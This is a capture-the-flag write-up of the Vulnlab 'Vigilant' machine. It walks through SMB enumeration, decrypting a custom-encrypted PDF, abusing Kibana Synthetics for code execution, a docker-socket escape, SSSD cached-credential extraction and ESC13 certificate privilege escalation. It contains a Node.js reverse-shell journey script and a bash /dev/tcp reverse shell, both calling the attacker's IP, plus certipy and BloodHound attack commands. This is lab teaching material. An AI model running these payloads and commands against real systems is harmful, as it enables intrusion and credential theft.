CTF-Writeups/Vulnlab/Vigilant.md
2024-04-30 23:01:40 +03:00

15 KiB

Vulnlab - Vigilant

DC.vigilant.vl

PORT     STATE SERVICE           VERSION          
53/tcp   open  domain            Simple DNS Plus              
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-04-21 16:06:06Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
445/tcp  open  microsoft-ds? 
464/tcp  open  kpasswd5?             
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldapssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
3269/tcp open  globalcatLDAPssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.vigilant.vlc
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: VIGILANT
|   NetBIOS_Domain_Name: VIGILANT
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: vigilant.vl
|   DNS_Computer_Name: DC.vigilant.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-04-21T16:06:29+00:00
5601/tcp  open  esmagent
9200/tcp open  wap-wsp?
| ssl-cert: Subject: commonName=instance
| Subject Alternative Name: IP Address:127.0.0.1, DNS:dc.vigilant.vl

SRV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                              
|   256 96c0d790bbcc7716c6e1a503f1ca5c25 (ECDSA)
|_  256 1223dbbbd8563e14197104342c224965 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD     
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT 80

Visiting the webserver, it shows us one pager site having nothing out of interest

## PORT 445 (SMB)

Listing smb shares with anonymous user

IT can be be access anonymously having IT_Support directory containg AD Audit report for password policy which seems to be encrypted judging from the file name

On opening this file, it won't be recognized by document reviewer as the contents of this file are encrypted

Decrypting the PDF File By Analyzing the Encrypt function

Since this report was generated by ADAudit tool, it's possible that there might be something we need to grab from there, grabbing ADAudit.dll file from share

On analyzing the dll file with ILSpy we'll get the password for svc_auditreporter

Verifying these credentials through netexec to see if they are valid

We can also find the how the files are being encrypted from ADAuditLib.dll

For encrypting the contents, it's using XORing with key and then performing bitwise operations, the key here is generated with the seed 12345 which will return the same value, afterwards it's shuffling the bytes with ShuffleBytes function and then writing the output, for decrypting it we can reverse the shuffling of bytes

  private static void UnshuffleBytes(ref byte[] data)
    {
        for (int i = data.Length - 2; i >= 0; i -= 2)
        {
            byte b = data[i];
            data[i] = data[i - 1];
            data[i - 1] = b;
        }
    }

And reverse the XORing and bitwise part

 for (int i = 0; i < data.Length; i++)
        {
            data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
            data[i] ^= array[i % array.Length];
        }

The resulting code will look like this for decryption

using System;
using System.IO;

public static class DecryptionUtility
{
    public static void DecryptFile(string encryptedFilePath)
    {
        if (!File.Exists(encryptedFilePath))
        {
            throw new FileNotFoundException();
        }

        byte[] data = File.ReadAllBytes(encryptedFilePath);

        UnshuffleBytes(ref data);

        byte[] array = GenerateKey(data.Length);

        for (int i = 0; i < data.Length; i++)
        {
            data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
            data[i] ^= array[i % array.Length];
        }

        string decryptedFilePath = encryptedFilePath.Replace("_encrypted", "_decrypted");
        File.WriteAllBytes(decryptedFilePath, data);
    }

    private static void UnshuffleBytes(ref byte[] data)
    {
        for (int i = data.Length - 2; i >= 0; i -= 2) 
        {
            byte b = data[i];
            data[i] = data[i - 1];
            data[i - 1] = b;
        }
    }

    private static byte[] GenerateKey(int length)
    {
        byte[] array = new byte[length];
        new Random(12345).NextBytes(array);
        return array;
    }
    static public void Main(String[] args)
    {

        DecryptFile("E:\\Password_Strength_Report_encrypted.pdf");
    }
}

Running this will decrypt the file for us and present us with 4 set of user creds

Spraying these creds, we'll get 3 valid hits and one user having password expired

Enumerating the domain first to see if we can go anywhere from the users we have

python3 /opt/BloodHound.py/bloodhound.py  -u 'svc_auditreporter' -p 'pass' -d vigilant.vl -dc DC.vigilant.vl -ns 10.10.224.85

We have pamela.clark belonging to TECHSUPPORTERS group

Alex.powell belonging to ADTeams

Edwin.Dixon in Accountants group

And Daniel.Washington in MarketingStartegies group

Accessing Kibana With Pamela

But this doesn't further lead to anywhere on the domain, the domain controller has instance of Kibana running on port 5601, with Pamela's password we can login

Kibana is used for data visualization to detect patterns, monitor the environment, look for abnormal behavior, representing it in the form of graph and charts, here we are a superuser so we pretty much control over this instance of kibana

But we need to figure out the agents using kibana and how to achieve access on those hosts, agents can be listed through Fleets http://dc.vigilant.vl:5601/app/fleet

There are two agents one is the linux server and the other is domain controller, so most likely we'll be dealing with the linux machine as we have the integration for html page that we saw earlier

Googling around a way to execute commands or get a shell from kibana lead us to nowhere until taking a hint from vulnlab's wiki, that we can achieve it from Synthetics , which is used for monitoring and test if the web site is functioning correctly

We already have the marketing page being monitored, we can test scripts on this page, to do that we need to create what is called a monitor , there's already a monitor configured, which is using type script to visit the marketing page

Using this script we can use file protocol to read local files like /etc/passwd

As soon as this test will be completed it will take a screenshot, having the result

Getting a reverse shell through synthetic monitor

However having just the ability to read local files won't lead us anywhere, we need to get a shell , so looking at the script that we used, it's playwright, an open source nodejs library for browser testing, when using child_process to execute system command we'll get an error that only step definations are allowed with inline scripts

For using external packages like child_process, we need to create journey which is a complete step of doing something rather than creating a monitor which just checks if the page is loading correctly. According to the documentation we first need to initialize the synthetic project

npx @elastic/synthetics init test

At initializing the project, we'll be asked to provide the API key, generating the project API key from here

Modify the contents of example.journey.ts from the journeys directory

import { journey, step, expect } from '@elastic/synthetics';

journey('Ensure placeholder is correct', ({ page }) => {
  step('Load the demo page', async () => {
    await page.goto('http://10.8.0.136');
    (function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(2222, "10.8.0.136", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; 
})();
  });
  });

Using push to create this project, it will create the monitor

Wait for few minutes for the monitor to be triggered having netcat listener and http server ready

From the filesystem, this seems like we are inside a docker container

Breaking out of container via docker sock

By running capsh we can list down the capabilities of the container but from the output it doesn't seem like it has a capability that we can abuse

Since elastic-agent is part of root group, docker.sock can be mounted which can be used for communicating with docker daemon to mount the host file system

Using deepce.sh https://github.com/stealthcopter/deepce we can breakout of docker utilizing docker.sock, to test it we can try reading /etc/shadow from the host by creating a container and mount the file system

Running a bash reverse shell

deepce.sh --exploit SOCK --command "/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.136/3333 0>&1'"

I placed my ssh public key to login as root, this wasn't really necessary but I just wanted a proper shell

Extracting cached credentials (SSSD creds)

From linpeas, we find that this machine is domain joined and cache credentials is enabled from /etc/sssd/sssd.conf , sssd is responsible for enabling the system to access authentication services such as active directory

Linux systems joined with AD store Kerberos credentials locally in the credential cache file referred to as the ccache. By default sssd maintains a copy of cached credential in /var/lib/sss/db .

With `tdbdump` we can read the contents of ldb cache file and we want to look for `cachedPassword` gabriel.stewart's sha512crypt hash can be cracked with either john or hashcat

Gabriel is a part of JUNIORADMINS group which is further part of REMOTE MANAGEMENT USERS

Again there's nothing that we could do from gabriel, no acls or any special privilege

Running certutil this machine has ADCS installed

Certificate templates can be enumerated with certify but I'll be using the python version certipy as it had support for ESC13 added https://github.com/ly4k/Certipy/pull/196

Escalating privileges through ESC13

certipy find -u gabriel.stewart -vulnerable -target DC.vigilant.vl -dc-ip 10.10.182.37 -stdout

certipy finds one template which gabriel can enroll, with a linked group Temporary Admins having EKU set to Client Authentication, the template can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13

Having this certificate we can become a local admin to domain controller

certipy req -u 'gabriel.stewart' -ca 'vigilant-CA' -dc-ip 10.10.182.37 -target DC.vigilant.vl -template 'VigilantAdmins' -key-size 4096
Requesting TGT with the certificate Now logging with winrm again but this time with ticket we obtained since this ticket represents that we are a member of temporary admin group

References